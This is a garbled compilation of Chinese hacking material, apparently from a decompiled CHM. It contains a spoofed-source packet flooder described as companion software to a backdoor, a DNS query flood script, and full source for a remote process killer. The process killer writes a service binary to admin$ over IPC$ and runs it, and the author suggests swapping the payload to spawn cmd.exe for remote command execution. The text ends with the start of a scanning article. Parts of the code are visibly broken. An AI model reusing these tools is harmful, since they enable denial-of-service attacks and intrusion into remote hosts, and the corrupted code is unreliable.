Forge_Type = 2;
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_HOSTNAME_LAN) {
fprintf(stderr, "伪造ip地址出错:%s\n", argv[i]);
return 0;
}
strcpy(Forge_Ip, &argv[i][4]);
break;
case '3'://模式3,指定IP开始递增
Forge_Type = 3;
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_HOSTNAME_LAN) {
fprintf(stderr, "伪造ip地址出错:%s\n", argv[i]);
return 0;
}
strcpy(Forge_Ip, &argv[i][4]);
break;
case '4'://模式4,ip由文件提供
Forge_Type = 4;
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_PATH) {
fprintf(stderr, "文件信息出错:%s\n", argv[i]);
return 0;
}
strcpy(Forge_Ip_File, &argv[i][4]);
break;
case '5'://模式5,随机产生IP
Forge_Type = 5;
break;
}//End of switch
break;
}//End of switch
}//End of if
}//End of for
if(Dest_Ip == ""){
fprintf(stderr, "必须包含一个目的地址.\n");
return 0;
}
return 1;
}
//////////////////////////////////////////////////////////////
//分析ip段
//////////////////////////////////////////////////////////////
int GetIpAndPortByLine(char *IPL){
//变量
char IP[MAX_HOSTNAME_LAN] = "";
//获取IP
char *fgp = strrchr(IPL, ':');
//判断是否只包含IP
if(fgp != NULL){
//拷贝ip
strncpy(IP, IPL, (fgp - IPL));
//出错
if(IP == ""){
fprintf(stderr, "IP数据出错.\n");
return 0;
}
//拷贝端口
fgp++;
PORTT = atoi(fgp);
//端口选择出错,设置默认端口
if(PORTT <= 0 || PORTT >= MAX_PORT){
PORTT = DEF_PORT_DA;
}
}else{
//只包含ip,设置默认端口
strcpy(IP, IPL);
PORTT = DEF_PORT_DA;
}
//如果有域名,则要转化为IP
if(IP[0] < '0' || IP[0] > '9'){
struct hostent *server_host = NULL;
server_host = gethostbyname(IP);
//出错
if(server_host == NULL){
fprintf(stderr, "无法转换IP,出错代码: %d\n", WSAGetLastError());
return 0;
}
//地址转化为主机地址,赋值,返回
IPTL = ntohl((ULONG)(*(struct in_addr*)server_host->h_addr).s_addr);
}else{
IPTL = ntohl(inet_addr(IP));
}
return 1;
}
//////////////////////////////////////////////////////////////
//初始化连接函数
//////////////////////////////////////////////////////////////
int SetInitializeSock(){
int TimeOut = MAX_TIMEOUT;
int flag = 1;
//初始化SOCK_RAW
WSADATA wsaData = {0};
if((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0){
fprintf(stderr, "WSAStartup 函数失败,错误代码: %d\n", WSAGetLastError());
return 0;
}
SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
if (SockRaw == INVALID_SOCKET){
fprintf(stderr, "WSASocket() 函数失败,错误代码: %d\n", WSAGetLastError());
return 0;
}
//设置IP_HDRINCL以自己填充IP首部
ErrorCode = setsockopt(SockRaw, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int));
if (ErrorCode == SOCKET_ERROR){
fprintf(stderr, "setsockopt(IP_HDRINCL) 函数失败,错误代码: %d\n", WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*)&TimeOut, sizeof(TimeOut));
if(ErrorCode == SOCKET_ERROR){
fprintf(stderr, "setsockopt(SO_SNDTIMEO) 函数失败,错误代码: %d\n", WSAGetLastError());
return 0;
}
return 1;
}
//////////////////////////////////////////////////////////////
//效验和函数
//////////////////////////////////////////////////////////////
USHORT checksum(USHORT *buffer, int size) {
unsigned long cksum = 0;
while(size > 1){
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size){
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (USHORT)(~cksum);
}
//////////////////////////////////////////////////////////////
//分配内存函数1
//////////////////////////////////////////////////////////////
int AssMemory(ULONG **a, ULONG sa, USHORT **b, ULONG sb){
*a = (ULONG *)malloc(sa * sizeof(ULONG));
*b = (USHORT *)malloc(sb * sizeof(USHORT));
if(*a == NULL || *b == NULL){
fprintf(stderr, "分配内存失败.\n");
return 0;
}
memset(*a, 0, sa * sizeof(ULONG));
memset(*b, 0, sb * sizeof(USHORT));
return 1;
}
//////////////////////////////////////////////////////////////
//分配内存函数2
//////////////////////////////////////////////////////////////
int AssMemory(USHORT **a, ULONG sa, USHORT **b, ULONG sb){
*a = (USHORT *)malloc(sa * sizeof(USHORT));
*b = (USHORT *)malloc(sb * sizeof(USHORT));
if(*a == NULL || *b == NULL){
fprintf(stderr, "分配内存失败.\n");
return 0;
}
memset(*a, 0, sa * sizeof(USHORT));
memset(*b, 0, sb * sizeof(USHORT));
return 1;
}
//////////////////////////////////////////////////////////////
//打印帮助
//////////////////////////////////////////////////////////////
void Usage(){
//软件版权信息,帮助信息
fprintf(stderr, "================================================================\n"
"数据包发送程序1.0 (lecher后门附带软件)\n"
"日期: [2004.4.25]\n"
"作者: [Zvrop][zvrop@163.com]\n"
"环境: [WINXP + Visual C++ 6.0]\n"
"主页: [http://www.gedao.com][http://www.ringz.org]\n"
"================================================================\n"
"使用方法:\n"
"NetSendData.exe\n"
"\t-t:[chr]/-u:[chr]/-c:[chr]/-g:[chr]\n"
"\t-n:[num]\n"
"\t-x:[num]\n"
"\t-m:[num]\n"
"\t-d:[chr]/-F:[chr]\n"
"\t-S:[num]\n"
"\t-IS:[num]|-II:[num]|-IF:[num]|-IT:[num]\n"
"\t-TW:[num]|-TF:[num]|-TS:[num]|-TA:[num]|-TU:[num]\n"
"\t-CT:[num]|-CC:[num]|-CI:[num]|-CS:[num]|-CM:[num]\n"
"\t-GC:[num]|-GT:[num]|-GA:[num]\n"
"\t-l:[num]\n"
"\t-f1:[num]/-f2:[chr]/-f3:[chr]/-f4:[chr]/-f5\n"
"\t-?/-h/-H\n"
"================================================================\n"
"以上\"chr\"标识表示该参数为字符串型,\"num\"标识表示该参数为纯数值型\n"
"\"|\"标识符标识该组参数可以同时设置多个,\"/\"标识符表示该组参数同时只能设置一个,若设置了多个,则以最后出现的参数为准.\n"
"================================================================\n"
"基本参数:\n"
"-t:[chr] 发送tcp报文,后跟着一个目的位置地址(IP:<PORT>,端口默认为:%u)\n"
"-u:[chr] 发送udp报文,后跟着一个目的位置地址(IP:<PORT>)\n"
"-c:[chr] 发送icmp报文,后跟着一个目的位置地址(IP:<PORT>)\n"
"-g:[chr] 发送igmp报文,后跟着一个目的位置地址(IP:<PORT>)\n"
"-n:[num] 发送数据报文组的组数,一组报文中可包含任意数量的报文,默认值:%u,最大值:%u\n"
"-x:[num] 每组发送的报文数量,默认值:%u,最大值:%u\n"
"-m:[num] 每发送一组报文的延迟时间,在发送一组信息时候,不输出出错信息,默认值:%u\n"
"-?/-h/-H 打印帮助信息\n"
"\n附加信息参数:\n"
"-d:[chr] 发送报文的附加数据,最大长度:%u字节\n"
"-F:[chr] 发送报文的附加数值由文件指定,必须给出完整文件名.\n"
"-S:[num] 发送报文附加数据的最大长度,当该值大于你提供的信息长度时,数据不足处补\"0\",当该值不等于32的整数倍时,将被自动扩充.默认值:0,表示不要对报文添加任何附加数据,通常情况下,-d和-F参数会自动改版该值,但是如果你设置了该值,则-d和-F参数就不会更改该值.\n"
"\n报文字段参数(建议不要使用,除非您完全了解每个字段的含义,挂号内为该字段占的空间字节数,在没有特殊说明的情况下,该值在发送之前将会被转换字节位置(主机->网络)):\n"
"-IS:[num] IP报文(1):服务类型(TOS)位参数字段设置,默认:%u\n"
"-II:[num] IP报文(2):标识位参数字段设置,默认值:%u\n"
"-IF:[num] IP报文(2):标志位参数设置,默认值:%u\n"
"-IT:[num] IP报文(1):TTL位参数设置,默认值:%u\n"
"-TW:[num] TCP报文(2):窗口大小位参数设置,默认值:%u\n"
"-TF:[num] TCP报文(1):标志位参数设置,默认值:%u\n"
"-TS:[num] TCP报文(4):序列号位参数设置,默认值:%u\n"
"-TA:[num] TCP报文(4):确认号位参数设置,默认值:%u\n"
"-TU:[num] TCP报文(2):紧急数据偏移位参数设置,默认值:%u\n"
"-CT:[num] ICMP报文(2):类型位参数设置,默认值:%u\n"
"-CC:[num] ICMP报文(2):代码位参数设置,默认值:%u\n"
"-CI:[num] ICMP报文(2):识别号位参数设置,默认值:%u\n"
"-CS:[num] ICMP报文(2):序号位参数设置,默认值:%u\n"
"-CM:[num] ICMP报文(4):时间戳位参数设置,默认值:%u\n"
"-GC:[num] IGMP报文(2):版本位参数设置,默认值:%u\n"
"-GT:[num] IGMP报文(2):类型位参数设置,默认值:%u\n"
"-GA:[num] IGMP报文(4):组地址位参数设置,默认值:%u\n"
"\n伪造源参数设置:\n"
"-l:[num] 伪造源个数设置,默认值:%u,该值可以和发送次数参数没有关系,系统会自动循环发送.但是设置少了,后面的参数将不会被发送,理论上可以设置到%u个,但这取决于你内存的大小.\n"
"-f1:[num] 伪造模式1,本机IP,需要提供一个端口参数,默认为:%u,所有的伪造IP均采用这个参数提供,也就是说,提供了这个参数,设置伪造源个数参数就已经无效,白白占用内存而已.\n"
"-f2:[chr] 伪造模式2,固定IP,需要提供一个源位置参数(IP:<PORT>),[表示含义同本机IP设置]\n"
"-f3:[chr] 伪造模式3,固定IP递增,需要提供一个起始伪造位置参数(IP:<PORT>),对这个提供的参数进行递增操作,比如你想制造一个c段的伪造源,就设置这个参数为192.168.1.1:12345,然后伪造源个数设置为255个既可,注意,递增IP的同时,端口也在递增.\n"
"-f4:[chr] 伪造模式4,从文件获取源位置参数,须提供一个本地文件名,文件中每个地址占一行,默认端口为%u,支持域名格式(运行期间也会转换为IP),采用IP:<PORT>格式,例如:192.168.1.2:12345,www.web.com:54321.\n"
"-f5 伪造模式5,随机产生IP,端口\n"
"================================================================\n"
"[警告:本软件有一定危险性,请您在完全了解的情况下使用]\n"
"[作者不对软件造成的任何问题负任何形式的责任]\n"
"该软件作为Lecher后门附带的一个发送数据包的程序,事实上同样的例子网上已经有很多,也很早就有了,我这次写全了几个常用的数据格式,用预先计算效验和的办法,提高发送报文速度,几乎提供了所有可变参数的修改,希望大家用的时候能方便一点,如果觉得比较麻烦,哪位仁兄可以写一个shell来调用,也是很方便的啦,俺不擅长写GUI的程序了,^_^~\n"
,
DEF_PORT_DA,
Send_Degree,MAX_LONG,
Send_Sdeg,MAX_LONG,
Delay_Time,
MAX_BUFF_LEN,
IP_TOSE,
IP_IDENT,
IP_FLAG,
IP_TTLE,
TCP_WINS,
TCP_FLAG,
TCP_SEQ,
TCP_ACK,
TCP_URP,
ICMP_TYPE,
ICMP_CODE,
ICMP_ID,
ICMP_SEQ,
ICMP_TIME,
IGMP_CODE,
IGMP_TYPE,
IGMP_ADDR,
Ip_Forge_Deg,MAX_LONG,
DEF_PORT_DA
);
}


#include "winsock.h"
#include "winsock.h"
#include "stdio.h"
#include "string.h"

SOCKET sockUdp;
struct
        sockaddr_in destAddr;?????? // IP addressing structures

void convertDomainName(char * strName)
{
unsigned
        int lastPoint=strlen(strName);
for(int i=lastPoint; i>=0; i--) {
if (strName=='.') {
strName=(char)(lastPoint-i-1);
lastPoint=i;
}
}
}

void dnsRequest(char *
        qName)
{
char udpBuf[512]={0};
udpBuf[1] = 1;
udpBuf[2]
        = 1;
udpBuf[5] = 1;
convertDomainName(qName);
int
        domainNameLen = strlen(qName);
for(int i=0; i udpBuf[12+i] = qName;
udpBuf[domainNameLen + 12 + 2]=1;
udpBuf[domainNameLen+ 12 +
        4]=1;

int iReturn=sendto(sockUdp, udpBuf, domainNameLen +
        12 + 7, 0,(SOCKADDR *)&destAddr, sizeof(struct sockaddr_in));
if
        (iReturn==SOCKET_ERROR) printf("send error:%d",GetLastError());
}

main()
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
sockUdp = socket(AF_INET,
        SOCK_DGRAM, IPPROTO_UDP);

int i,j,k,l;
destAddr.sin_family = AF_INET;
???? destAddr.sin_port =
        htons(53);
???? destAddr.sin_addr.s_addr =
        inet_addr("xxx.xxx.xxx.xxx");

char strRequest[20] =
        ".aaaa.aaaa.net";

ULONG timeStart=GetTickCount();
for
        (i=97; i for (j=97; j for (k=97; k for( l=97; l {
strRequest[1]=i;
strRequest[2]=j;
strRequest[3]=k;
strRequest[4]=l;
dnsRequest(strRequest);
}
printf("Send 456K packets in %d
        ms\n",GetTickCount()-timeStart);
printf("average spped=%d,000
        Packets/s\n",456000/(GetTickCount()-timeStart));
Sleep(10*1000);
}

This file is decompiled by an
        unregistered version of ChmDecompiler.
Regsitered version does not
        show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


杀掉本地进程其实很简单，取得进程ID后，调用OpenProcess函数打开进程句柄，然后调用TerminateProcess函数就可以杀掉进程了。有些情况下并不能直接打开进程句柄，例如WINLOGON等系统进程，因为权限不够。这个时候我们就得先提升自己的进程的权限了。提升权限过程也不复杂，先调用GetCurrentProcess函数取得当前进程的句柄，然后调用OpenProcessToken打开当前进程的访问令牌，接着调用LookupPrivilegeValue函数取得你想提升的权限的值，最后调用AdjustTokenPrivileges函数给当前进程的访问令牌增加权限就可以了。一般有了SeDebugPrivilege特权后，就可以杀掉除Idle外的所有进程了。
OK!那如何杀掉远程进程呢？说起来有点复杂，但其实也不难。
<1>与远程系统建立IPC连接
<2>在远程系统的系统目录admin$\system32中写入一个文件killsrv.exe
<3>调用函数OpenSCManager打开远程系统的Service Control Manager[SCM]
<4>调用函数CreateService在远程系统创建一个服务，服务指向的程序是在<2>中写入的程序killsrv.exe
<5>调用函数StartService启动刚才创建的服务，把想杀掉的进程的ID作为参数传递给它
<6>服务启动后，killsrv.exe运行，杀掉进程
<7>清场
嗯！这样看来，我们需要两个程序了。Killsrv.exe的源代码如下：
/***********************************************************************
Module:Killsrv.c
Date:2001/4/27
Author:ey4s<ey4s@21cn.com>
Http://www.ey4s.org
***********************************************************************/
#include <stdio.h>
#include <windows.h>
#include "function.c"
#define ServiceName "PSKILL"
SERVICE_STATUS_HANDLE ssh;
SERVICE_STATUS
        ss;
/////////////////////////////////////////////////////////////////////////
void ServiceStopped(void)
{
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
ss.dwCurrentState=SERVICE_STOPPED;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwWin32ExitCode=NO_ERROR;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return;
}
/////////////////////////////////////////////////////////////////////////
void ServicePaused(void)
{
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
ss.dwCurrentState=SERVICE_PAUSED;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwWin32ExitCode=NO_ERROR;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return;
}
void ServiceRunning(void)
{
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
ss.dwCurrentState=SERVICE_RUNNING;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwWin32ExitCode=NO_ERROR;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return;
}
/////////////////////////////////////////////////////////////////////////
void WINAPI servier_ctrl(DWORD Opcode)//服务控制程序
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP://停止Service
ServiceStopped();
break;
case SERVICE_CONTROL_INTERROGATE:
SetServiceStatus(ssh,&ss);
break;
}
return;
}
//////////////////////////////////////////////////////////////////////////////
//杀进程成功设置服务状态为SERVICE_STOPPED
//失败设置服务状态为SERVICE_PAUSED
//
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)
{
ssh=RegisterServiceCtrlHandler(ServiceName,servier_ctrl);
if(!ssh)
{
ServicePaused();
return;
}
ServiceRunning();
Sleep(100);
//注意，argv[0]为此程序名，argv[1]为pskill,参数需要递增1
//argv[2]=target,argv[3]=user,argv[4]=pwd,argv[5]=pid
if(KillPS(atoi(lpszArgv[5])))
ServiceStopped();
else
ServicePaused();
return;
}
/////////////////////////////////////////////////////////////////////////////
void main(DWORD dwArgc,LPTSTR *lpszArgv)
{
SERVICE_TABLE_ENTRY ste[2];
ste[0].lpServiceName=ServiceName;
ste[0].lpServiceProc=ServiceMain;
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
return;
}
/////////////////////////////////////////////////////////////////////////////
function.c中有两个函数，一个是提升权限的，一个是提供进程ID,杀进程的。代码如
下：
/***********************************************************************
Module:function.c
Date:2001/4/28
Author:ey4s<ey4s@21cn.com>
Http://www.ey4s.org
***********************************************************************/
#include <windows.h>
////////////////////////////////////////////////////////////////////////////
BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL
        bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
printf("\nLookupPrivilegeValue error:%d", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or
        disable all privileges.
AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL);
// Call
        GetLastError to determine whether the function succeeded.
if
        (GetLastError() != ERROR_SUCCESS)
{
printf("AdjustTokenPrivileges failed: %u\n", GetLastError() );
return FALSE;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////
BOOL KillPS(DWORD id)
{
HANDLE
        hProcess=NULL,hProcessToken=NULL;
BOOL IsKilled=FALSE,bRet=FALSE;
__try
{
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
{
printf("\nOpen Current Process Token
        failed:%d",GetLastError());
__leave;
}
//printf("\nOpen
        Current Process Token ok!");
if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
{
__leave;
}
printf("\nSetPrivilege ok!");
if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
{
printf("\nOpen Process %d failed:%d",id,GetLastError());
__leave;
}
//printf("\nOpen Process %d ok!",id);
if(!TerminateProcess(hProcess,1))
{
printf("\nTerminateProcess failed:%d",GetLastError());
__leave;
}
IsKilled=TRUE;
}
__finally
{
if(hProcessToken!=NULL) CloseHandle(hProcessToken);
if(hProcess!=NULL) CloseHandle(hProcess);
}
return(IsKilled);
}
//////////////////////////////////////////////////////////////////////////////////////////////
OK!服务端的程序已经好了。接下来还需要一个客户端。如果通过在客户端运行的时候，把killsrv.exe
        COPY到远程系统上，那么就需要提供两个exe文件给用户，这样显得不是很专业，呵呵。不如我们就把killsrv.exe的二进制码作为buff保存在客户端吧，这样在运行的时候，我们直接把buff中的内容写过去，这样提供给用户一个exe文件就可以了。Pskill.c的源代码如下：
/*********************************************************************************************
ModulesKill.c
Create:2001/4/28
Modify:2001/6/23
Author:ey4s<ey4s@21cn.com>
Http://www.ey4s.org
PsKill
        ==>Local and Remote process killer for windows 2k
**************************************************************************/
#include "ps.h"
#define EXE "killsrv.exe"
#define
        ServiceName "PSKILL"
#pragma comment(lib,"mpr.lib")
//////////////////////////////////////////////////////////////////////////
//定义全局变量
SERVICE_STATUS ssStatus;
SC_HANDLE
        hSCManager=NULL,hSCService=NULL;
BOOL bKilled=FALSE;
char
        szTarget[52]=;
//////////////////////////////////////////////////////////////////////////
BOOL ConnIPC(char *,char *,char *);//建立IPC连接函数
BOOL
        InstallService(DWORD,LPTSTR *);//安装服务函数
BOOL
        WaitServiceStop();//等待服务停止函数
BOOL RemoveService();//删除服务函数
/////////////////////////////////////////////////////////////////////////
int main(DWORD dwArgc,LPTSTR *lpszArgv)
{
BOOL
        bRet=FALSE,bFile=FALSE;
char tmp[52]=,RemoteFilePath[128]=,
szUser[52]=,szPass[52]=;
HANDLE hFile=NULL;
DWORD
        i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff);
//杀本地进程
if(dwArgc==2)
{
if(KillPS(atoi(lpszArgv[1])))
printf("\nLoacl Process %s have
        beed killed!",lpszArgv[1]);
else
printf("\nLoacl Process %s
        can't be killed!ErrorCode:%d",
lpszArgv[1],GetLastError());
return 0;
}
//用户输入错误
else if(dwArgc!=5)
{
printf("\nPSKILL ==>Local and Remote Process Killer"
"\nPower
        by ey4s<ey4s@21cn.com>"
"\nhttp://www.ey4s.org 2001/6/23"
"\n\nUsage:%s <PID>
        <==Killed Local Process"
"\n %s <IP> <User>
        <PWD> <PID> <==Killed Remote Process\n",
lpszArgv[0],lpszArgv[0]);
return 1;
}
//杀远程机器进程
strncpy(szTarget,lpszArgv[1],sizeof(szTarget)-1);
strncpy(szUser,lpszArgv[2],sizeof(szUser)-1);
strncpy(szPass,lpszArgv[3],sizeof(szPass)-1);
//将在目标机器上创建的exe文件的路径
sprintf(RemoteFilePath,"\\%s\admin$\system32\%s",szTarget,EXE);
__try
{
//与目标建立IPC连接
if(!ConnIPC(szTarget,szUser,szPass))
{
printf("\nConnect to
        %s failed:%d",szTarget,GetLastError());
return 1;
}
printf("\nConnect to %s success!",szTarget);
//在目标机器上创建exe文件
hFile=CreateFile(RemoteFilePath,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRIT
E,
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nCreate file %s
        failed:%d",RemoteFilePath,GetLastError());
__leave;
}
//写文件内容
while(dwSize>dwIndex)
{
if(!WriteFile(hFile,&exebuff[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
{
printf("\nWrite file %s
failed:%d",RemoteFilePath,GetLastError());
__leave;
}
dwIndex+=dwWrite;
}
//关闭文件句柄
CloseHandle(hFile);
bFile=TRUE;
//安装服务
if(InstallService(dwArgc,lpszArgv))
{
//等待服务结束
if(WaitServiceStop())
{
//printf("\nService was
        stoped!");
}
else
{
//printf("\nService can't be
        stoped.Try to delete it.");
}
Sleep(500);
//删除服务
RemoveService();
}
}
__finally
{
//删除留下的文件
if(bFile) DeleteFile(RemoteFilePath);
//如果文件句柄没有关闭,关闭之~
if(hFile!=NULL) CloseHandle(hFile);
//Close Service handle
if(hSCService!=NULL) CloseServiceHandle(hSCService);
//Close the
        Service Control Manager handle
if(hSCManager!=NULL)
        CloseServiceHandle(hSCManager);
//断开ipc连接
wsprintf(tmp,"\\%s\ipc$",szTarget);
WNetCancelConnection2(tmp,CONNECT_UPDATE_PROFILE,TRUE);
if(bKilled)
printf("\nProcess %s on %s have been
killed!\n",lpszArgv[4],lpszArgv[1]);
else
printf("\nProcess
        %s on %s can't be
killed!\n",lpszArgv[4],lpszArgv[1]);
}
return 0;
}
//////////////////////////////////////////////////////////////////////////
BOOL ConnIPC(char *RemoteName,char *User,char *Pass)
{
NETRESOURCE nr;
char RN[50]="\\";
strcat(RN,RemoteName);
strcat(RN,"\ipc$");
nr.dwType=RESOURCETYPE_ANY;
nr.lpLocalName=NULL;
nr.lpRemoteName=RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,Pass,User,FALSE)==NO_ERROR)
return TRUE;
else
return FALSE;
}
/////////////////////////////////////////////////////////////////////////
BOOL InstallService(DWORD dwArgc,LPTSTR *lpszArgv)
{
BOOL
        bRet=FALSE;
__try
{
//Open Service Control Manager on Local
        or Remote machine
hSCManager=OpenSCManager(szTarget,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCManager==NULL)
{
printf("\nOpen Service Control Manage
        failed:%d",GetLastError());
__leave;
}
//printf("\nOpen
        Service Control Manage ok!");
//Create Service
hSCService=CreateService(hSCManager,// handle to SCM database
ServiceName,// name of service to start
ServiceName,// display
        name
SERVICE_ALL_ACCESS,// type of access to service
SERVICE_WIN32_OWN_PROCESS,// type of service
SERVICE_AUTO_START,// when to start service
SERVICE_ERROR_IGNORE,// severity of service
failure
EXE,//
        name of binary file
NULL,// name of load ordering group
NULL,//
        tag identifier
NULL,// array of dependency names
NULL,// account
        name
NULL);// account password
//create service failed
if(hSCService==NULL)
{
//如果服务已经存在，那么则打开
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
//printf("\nService %s Already exists",ServiceName);
//open
        service
hSCService = OpenService(hSCManager, ServiceName,
SERVICE_ALL_ACCESS);
if(hSCService==NULL)
{
printf("\nOpen Service failed:%d",GetLastError());
__leave;
}
//printf("\nOpen Service %s ok!",ServiceName);
}
else
{
printf("\nCreateService failed:%d",GetLastError());
__leave;
}
}
//create service ok
else
{
//printf("\nCreate Service %s ok!",ServiceName);
}
// 起动服务
if (
        StartService(hSCService,dwArgc,lpszArgv))
{
//printf("\nStarting
        %s.", ServiceName);
Sleep(20);//时间最好不要超过100ms
while(
        QueryServiceStatus(hSCService, &ssStatus ) )
{
if (
        ssStatus.dwCurrentState == SERVICE_START_PENDING)
{
printf(".");
Sleep(20);
}
else
break;
}
if (
        ssStatus.dwCurrentState != SERVICE_RUNNING )
printf("\n%s failed to
        run:%d",ServiceName,GetLastError());
}
else
        if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
//printf("\nService %s already running.",ServiceName);
}
else
{
printf("\nStart Service %s
        failed:%d",ServiceName,GetLastError());
__leave;
}
bRet=TRUE;
}//enf of try
__finally
{
return bRet;
}
return bRet;
}
/////////////////////////////////////////////////////////////////////////
BOOL WaitServiceStop(void)
{
BOOL bRet=FALSE;
//printf("\nWait Service stoped");
while(1)
{
Sleep(100);
if(!QueryServiceStatus(hSCService, &ssStatus))
{
printf("\nQueryServiceStatus failed:%d",GetLastError());
break;
}
if(ssStatus.dwCurrentState==SERVICE_STOPPED)
{
bKilled=TRUE;
bRet=TRUE;
break;
}
if(ssStatus.dwCurrentState==SERVICE_PAUSED)
{
//停止服务
bRet=ControlService(hSCService,SERVICE_CONTROL_STOP,NULL);
break;
}
else
{
//printf(".");
continue;
}
}
return bRet;
}
/////////////////////////////////////////////////////////////////////////
BOOL RemoveService(void)
{
//Delete Service
if(!DeleteService(hSCService))
{
printf("\nDeleteService
        failed:%d",GetLastError());
return FALSE;
}
//printf("\nDelete Service ok!");
return TRUE;
}
/////////////////////////////////////////////////////////////////////////
其中ps.h头文件的内容如下：
/////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include
        "function.c"
unsigned char exebuff[]="这里存放的是killsrv.exe的二进制码";
/////////////////////////////////////////////////////////////////////////////////////////////
以上程序在Windows2000、VC++6.0环境下编译，测试还行。编译好的pskill.exe在我的主页http://www.ey4s.org有下载。其实我们变通一下，改变一下killsrv.exe的内容，例如启动一个cmd.exe什么的，呵呵，这样有了admin权限，并且可以建立IPC连接的时候，不就可以在远程运行命令了吗。象www.sysinternals.com出的psexec.exe和小榕的ntcmd.exe原理都和这差不多的。也许有人会问了，怎么得到程序的二进制码啊？呵呵，随便用一个二进制编辑器，例如UltraEdit等。但是好像不能把二进制码保存为文本，类似这样"\xAB\x77\xCD"，所以我们就不能直接用了。懒的去找这样的工具了，自己写个简单的吧，代码如下[我够意思吧~_*]：
/*******************************************************************************************
Module:exe2hex.c
Author:ey4s<ey4s@21cn.com>
Http://www.ey4s.org
Date:2001/6/23
****************************************************************************/
#include <stdio.h>
#include <windows.h>
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("\nUsage: %s <File>",argv[0]);
__leave;
}
hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FI
LE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("\nGet file size
        failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char
        *)malloc(dwSize);
if(!lpBuff)
{
printf("\nmalloc
        failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("\nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i<dwSize;i++)
{
if((i%16)==0)
printf("\"\n\"");
printf("\x%.2X",lpBuff);
}
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
这样运行：exe2hex
        killsrv.exe，就把killsrv.exe的二进制码打印到屏幕上了，你可以把它重定向到一个txt文件中去，如exe2hex
        killsrv.exe >killsrv.txt，然后copy到ps.h中去就OK了


高级扫描技术及原理介绍
Scan，是一切入侵的基础，对主机的探测工具非常多，比如大名鼎鼎的nmap。我这里没有什么新鲜技术，都是一些老东西老话题，即使参考的Phrack文档也甚至是96年的老文档，我只是拾人牙慧而已。
  最基本的探测就是Ping，不过现在连基本的个人防火墙都对Ping做了限制，这个也太基本了。如果透过防火墙，如何获得最理想的目标图，也是很多人整天思考的问题。
一、高级ICMP扫描技术
  Ping就是利用ICMP协议走的，我们在这里主要是利用ICMP协议最基本的用途：报错，根据网络协议，如果按照协议出现了错误，那么接收端将产生一个ICMP的错误报文。这些错误报文并不是主动发送的，而是由于错误，根据协议自动产生。
